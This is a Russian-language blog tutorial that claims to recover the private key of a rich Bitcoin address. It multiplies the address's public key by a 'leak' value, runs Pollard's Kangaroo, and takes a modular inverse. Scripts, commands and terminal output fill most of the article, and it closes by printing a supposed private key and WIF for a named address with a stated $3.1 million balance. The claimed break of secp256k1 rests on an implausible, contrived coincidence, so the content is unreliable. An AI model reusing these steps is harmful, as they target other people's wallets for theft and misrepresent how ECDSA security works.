Уменьшение приватного ключа через скалярное умножение используем библиотеку ECPy + Google Colab

В этой статье мы постараемся показать как можно уменьшить приватный ключ зная только утечку из списка «BLOCKCHAIN FOLBIT LEAKS» и публичный ключ из «UTXO».В экспериментальной части мы воспользуемся скриптами 08ReducePrivateKey и восстановим Биткоин Кошелек.

Скалярное умножение эллиптической кривой — это операция добавления точки P на кривую k раз.

Q=kP=P+P+P, k times

P — точка на эллиптической кривой, а k — большое натуральное число.
В любых примитивных реализациях ECC скалярное умножение является основной вычислительной операцией. Ключевым фактором повышения эффективности ECC является реализация быстрого скалярного умножения. Поэтому многие исследователи предлагали различные исследования ускоренного скалярного умножения.

ECPy предоставляет:

подписи ECDSA
подписи Ed25519
подписи ECSchnorr
подписи Borromean
операции с точками

Во многих наших исследованиях мы используем библиотеку ECPy и Google Colab

Воспользуемся репозиторием «08ReducePrivateKey»

git clone https://github.com/demining/CryptoDeepTools.git cd CryptoDeepTools/08ReducePrivateKey/ ls

Уменьшение приватного ключа через скалярное умножение используем библиотеку ECPy + Google Colab

sudo apt install python2-minimal wget https://bootstrap.pypa.io/pip/2.7/get-pip.py sudo python2 get-pip.py pip3 install ECPy

Python скрипт: maxwell.py , сохраним код и запустим в терминале Google Colab

from ecpy.curves import Curve,Point cv = Curve.get_curve('secp256k1') G = Point(0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798, 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8, cv) x = 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a1 PUBKEY = x*G print(PUBKEY)

python3 maxwell.py

(0x3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63 , 0xc0c686408d517dfd67c2367651380d00d126e4229631fd03f8ff35eef1a61e3c)

x value = 3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63 0200000000000000000000003B78CE563F89A0ED9414F5AA28AD0D96D6795F9C63

Этот публичный ключ называют “Maxwell’s vanity public key”

0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0 --> 0x3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63, 0x3f3979bf72ae8202983dc989aec7f2ff2ed91bdd69ce02fc0700ca100e59ddf3 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a1 --> 0x3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63, 0xc0c686408d517dfd67c2367651380d00d126e4229631fd03f8ff35eef1a61e3c p = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 ((p-1)/2) = 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0 0200000000000000000000003B78CE563F89A0ED9414F5AA28AD0D96D6795F9C63

У нас есть три разных Биткоин Адреса с балансом 100 BTC и выше из списка Bitcoin Rich List

1KpHWkpG7BGxDuSJKYPYVvNSC6womEZdTu

1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm

1GrTCkqqcXhVTXoQkPJjU5LuFKgAvC3iqJ

Получим UTXO для этих Биткоин Адресов и теперь у нас есть три подписи ECDSA (Применим скрипты 01BlockchainGoogleDrive)

c1ea2c9e48ce632488817781f89730d77cd4121f1c8f70a4be44d2a15e8e08d0 37dadae30c6f7c6c4a2c930db979494783005a8e94d6861039fed21e3fa859b9 9dacfc8243109475383d5b30e8d5f0ba23d023bd47649064c208d4586b278436

01000000017fbdd4c9991d0ba4fb0a0c06f6933442c17678bce6dfa4bf80e22ed530bb933c010000008a47304402206d0ab626a7e477c27602ed63b2651517af077e6f3fafda671dd9952dfcb5f0b90220168eb51a48ce7496a699a800299f15638e0a7f36ae84e84e26df0cd2a280a70e014104b3fdc0e84cd77cd018ced1fdd3ea4110d6beb942cfd38c0f6feaffc246e08b97fe779e87e4743f55168a476433100abd4cac064be5915cf828185319480b3fb4feffffff0240597307000000001976a914211090b628fa6351fa8240232e3c2753fd5eece588ac700369d2050000001976a914ce639943ce1602e30b249faf74388ee0eeb1d3c588ac84b90700 01000000014666d430766d611cc7f2c21494e68e463ac4be8bb2f70b91693728324849e1c3010000008a473044022057a02a4abc38e2e3e1809b05402cf52faef7e101d6364d43bb0305f8796b0fb202203d1934a016c91072ffe137575734454161284ab3371a0cfc6767db7f27f24a75014104ea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240cffffffff01b0feea0b000000001976a9148300ab0caebb6e85cf9e6b287a57924d1ac7c82f88ac00000000 01000000019d8e5e1bfac780b813e41517926aca95048e1dea92cbbe2a98475ff53ad38ccd000000008c493046022100c7b76326879a5ec7df2ffedb292a45c13c6f154982fc2cd7e05f0d0d0dce2d05022100d7fd43416608eaeb6356f04b601ac6edd23e0f82de44689fe5a7aa2f576637a001410480edda62d055008c28de19f4908cd052ccf63a10d708b5866b7a5b340bde49e2b5e7be50412afb83a6c774ed5b45fdf9ad5cbbd98b7f1964f1cb180b7bc6d56cffffffff01a93de702000000001976a914119fb35bad07974c1a8d47d210ca3048bb13be8788ac00000000

bitcoin ecdsa utils base58

pip2 install -r requirements.txt

python2 breakECDSA.py 01000000017fbdd4c9991d0ba4fb0a0c06f6933442c17678bce6dfa4bf80e22ed530bb933c010000008a47304402206d0ab626a7e477c27602ed63b2651517af077e6f3fafda671dd9952dfcb5f0b90220168eb51a48ce7496a699a800299f15638e0a7f36ae84e84e26df0cd2a280a70e014104b3fdc0e84cd77cd018ced1fdd3ea4110d6beb942cfd38c0f6feaffc246e08b97fe779e87e4743f55168a476433100abd4cac064be5915cf828185319480b3fb4feffffff0240597307000000001976a914211090b628fa6351fa8240232e3c2753fd5eece588ac700369d2050000001976a914ce639943ce1602e30b249faf74388ee0eeb1d3c588ac84b90700 >> PublicKeys.txt python2 breakECDSA.py 01000000014666d430766d611cc7f2c21494e68e463ac4be8bb2f70b91693728324849e1c3010000008a473044022057a02a4abc38e2e3e1809b05402cf52faef7e101d6364d43bb0305f8796b0fb202203d1934a016c91072ffe137575734454161284ab3371a0cfc6767db7f27f24a75014104ea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240cffffffff01b0feea0b000000001976a9148300ab0caebb6e85cf9e6b287a57924d1ac7c82f88ac00000000 >> PublicKeys.txt python2 breakECDSA.py 01000000019d8e5e1bfac780b813e41517926aca95048e1dea92cbbe2a98475ff53ad38ccd000000008c493046022100c7b76326879a5ec7df2ffedb292a45c13c6f154982fc2cd7e05f0d0d0dce2d05022100d7fd43416608eaeb6356f04b601ac6edd23e0f82de44689fe5a7aa2f576637a001410480edda62d055008c28de19f4908cd052ccf63a10d708b5866b7a5b340bde49e2b5e7be50412afb83a6c774ed5b45fdf9ad5cbbd98b7f1964f1cb180b7bc6d56cffffffff01a93de702000000001976a914119fb35bad07974c1a8d47d210ca3048bb13be8788ac00000000 >> PublicKeys.txt

После запуска мы получаем публичные ключи на все три Биткоин Адреса.

Откроем файл: PublicKeys.txt cat PublicKeys.txt

PUBKEY = 04b3fdc0e84cd77cd018ced1fdd3ea4110d6beb942cfd38c0f6feaffc246e08b97fe779e87e4743f55168a476433100abd4cac064be5915cf828185319480b3fb4 PUBKEY = 04ea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240c PUBKEY = 0480edda62d055008c28de19f4908cd052ccf63a10d708b5866b7a5b340bde49e2b5e7be50412afb83a6c774ed5b45fdf9ad5cbbd98b7f1964f1cb180b7bc6d56c

(0xb3fdc0e84cd77cd018ced1fdd3ea4110d6beb942cfd38c0f6feaffc246e08b97 , 0xfe779e87e4743f55168a476433100abd4cac064be5915cf828185319480b3fb4) (0xea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd , 0x1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240c) (0x80edda62d055008c28de19f4908cd052ccf63a10d708b5866b7a5b340bde49e2 , 0xb5e7be50412afb83a6c774ed5b45fdf9ad5cbbd98b7f1964f1cb180b7bc6d56c)

Сохраним точки координат (x,y) в файле: Coordinates.txt

Откроем список известных блокчейн утечек на 2019 год «BLOCKCHAIN FOLBIT LEAKS»

dac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae

Теперь проведем скалярное умножение по всем координатам точек (x,y) применив значение утечки: dac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae

Изменим код maxwell.py и изменим название на scalarEC.py

Добавим with open("Coordinates.txt", "rt") as base:

Все новые координаты будут сохранены в файле: SaveBase.txt

B = 0xdac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae

Добавим значение B из списка в код и сохраним как Python-скрипт: scalarEC.py

from ecpy.curves import Curve,Point with open("Coordinates.txt", "rt") as base: for line in base.read().splitlines(): Gx, Gy = map(lambda v: int(v, 16), line[1: -1].split(" , ")) cv = Curve.get_curve('secp256k1') P = Point(Gx,Gy,cv) B = 0xdac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae A = B*P with open("SaveBase.txt", "a") as file: file.write(str(A)) file.write("\n")

python3 scalarEC.py Результат сохранился в файле: SaveBase.txt Откроем файле: SaveBase.txt cat SaveBase.txt

(0x92b9eeebb8c4fa108359bd31367e36b7fe65b4a7e06d533b476dee097572a4c0 , 0x4d2beb1835a2f8b85e3f61d32094dbf0b4c7a212bee42ee4612193c0653c6e56) (0x65304d24c0edc862843587a96ea700f86e9e70e7801ac7df9efd2de84230c3e7 , 0x7af6d83573849d2368a021e835c5768e1b791c0c1b4cfafb9795058df5f27958) (0x433c15b724948371877dd3c1014d59d1a13d76a29e4948903623a74767736b97 , 0x13f15f3bb28a4766952e10da9717aa3cc0bad90b0414f483718531d584721ea3)

После скалярного умножение на значение утечки по всем координатным точкам (x,y) мы получаем новые точки

0465304d24c0edc862843587a96ea700f86e9e70e7801ac7df9efd2de84230c3e77af6d83573849d2368a021e835c5768e1b791c0c1b4cfafb9795058df5f27958

Теперь для поиска приватного ключа применим метод Pollard’s Kangaroo

Ранее мы публиковали статью: “Pollard’s Kangaroo находим решения дискретного логарифма secp256k1 PRIVATE KEY + NONCES в известном диапазоне”

Воспользуемся новым кодом Pollard's Kangaroo от Telariust Python-скрипт: kangaroo.py

sudo apt install python-gmpy2

Дальше запустим Python-скрипт: kangaroo.py

python2 kangaroo.py 32 0465304D24C0EDC862843587A96EA700F86E9E70E7801AC7DF9EFD2DE84230C3E77AF6D83573849D2368A021E835C5768E1B791C0C1B4CFAFB9795058DF5F27958

В терминале видим что мы сумели получить "prvkey":

[prvkey#32] 0x00000000000000000000000000000000000000000000000000000000795f9c63 [pubkey#32] 0465304d24c0edc862843587a96ea700f86e9e70e7801ac7df9efd2de84230c3e77af6d83573849d2368a021e835c5768e1b791c0c1b4cfafb9795058df5f27958

Откроем файл командой: cat Privkey.txt

00000000000000000000000000000000000000000000000000000000795f9c63

0465304D24C0EDC862843587A96EA700F86E9E70E7801AC7DF9EFD2DE84230C3E77AF6D83573849D2368A021E835C5768E1B791C0C1B4CFAFB9795058DF5F27958

Последние 8 цифр в формате HEX совпадает с публичным ключом “Maxwell’s vanity public key”

0200000000000000000000003B78CE563F89A0ED9414F5AA28AD0D96D6795F9C63

A = 0x00000000000000000000000000000000000000000000000000000000795f9c63 B = 0xdac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae

Теперь чтобы получить приватный ключ для одного из трех Биткоин Адресов нам осталось сделать деление по модулю значение A на значение B
Privkey = ((A * modinv(B,N)) % N)

def h(n): return hex(n).replace("0x","") def extended_gcd(aa, bb): lastremainder, remainder = abs(aa), abs(bb) x, lastx, y, lasty = 0, 1, 1, 0 while remainder: lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) x, lastx = lastx - quotient*x, x y, lasty = lasty - quotient*y, y return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1) def modinv(a, m): g, x, y = extended_gcd(a, m) if g != 1: raise ValueError return x % m N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 A = 0x00000000000000000000000000000000000000000000000000000000795f9c63 B = 0xdac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae print (h(((A) * modinv(B,N)) % N))

python3 calculate.py

В итоге мы получим в терминале приватный ключ в формате HEX: <b>38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae</b>

ADDR: 1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm WIF: 5JF9ME7zdGLDd3oyuMG7RfwgA1ByjZb2LbSwRMwM8ZKBADFLfCx HEX: 38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae

<a href="https://api.vc.ru/v2.8/redirect?to=https%3A%2F%2Fwww.blockchain.com%2Fexplorer%2Faddresses%2Fbtc%2F1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm&postId=843336" rel="nofollow noreferrer noopener" target="_blank"><b>www.blockchain.com/btc/address/1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm</b></a>

Данный видеоматериал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN

Исходный код

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/zu2yiaZ_LOs

Источник: https://cryptodeep.ru/reduce-private-key

Уменьшение приватного ключа через скалярное умножение используем библиотеку ECPy + Google Colab

Воспользуемся библиотекой ECPy

Откроем [TerminalGoogleColab]

Установим библиотеку ECPy:

Команда запуска:

Результат:

Обратите внимание на координату x

Мы ещё вернемся к этому публичному ключу!

Перейдем к экспериментальной части:

Получим RawTX для трех разных Биткоин Адресов

Установим все нужные модули:

С помощью скрипта breakECDSA.py мы узнаем публичные ключи для Биткоин Адресов

Результат будет сохранен в файл: PublicKeys.txt

Сделаем эти публичные ключи в виде точек координат (x,y):

BLOCKCHAIN FOLBIT LEAKS

Скопируем значение:

Запустим скрипт:

Теперь переделаем эти координаты в форму несжатых публичных ключей:

Обратим внимание на этот публичный ключ:

Установим модуль gmpy2 по команде:

Результат сохранится в файл: Privkey.txt

Мы получили уменьшенный приватный ключ для публичного ключа:

Обратите внимание на приватный ключ:

Воспользуемся Python-скриптом: calculate.py

Запустим Python-скрипт: calculate.py

Откроем bitaddress и проверим:

Приватный Ключ Найден!

Биткоин Кошелек Восстановлен!

BALANCE: $ 3 132 404.45

Биткоин Кошелек Восстановлен!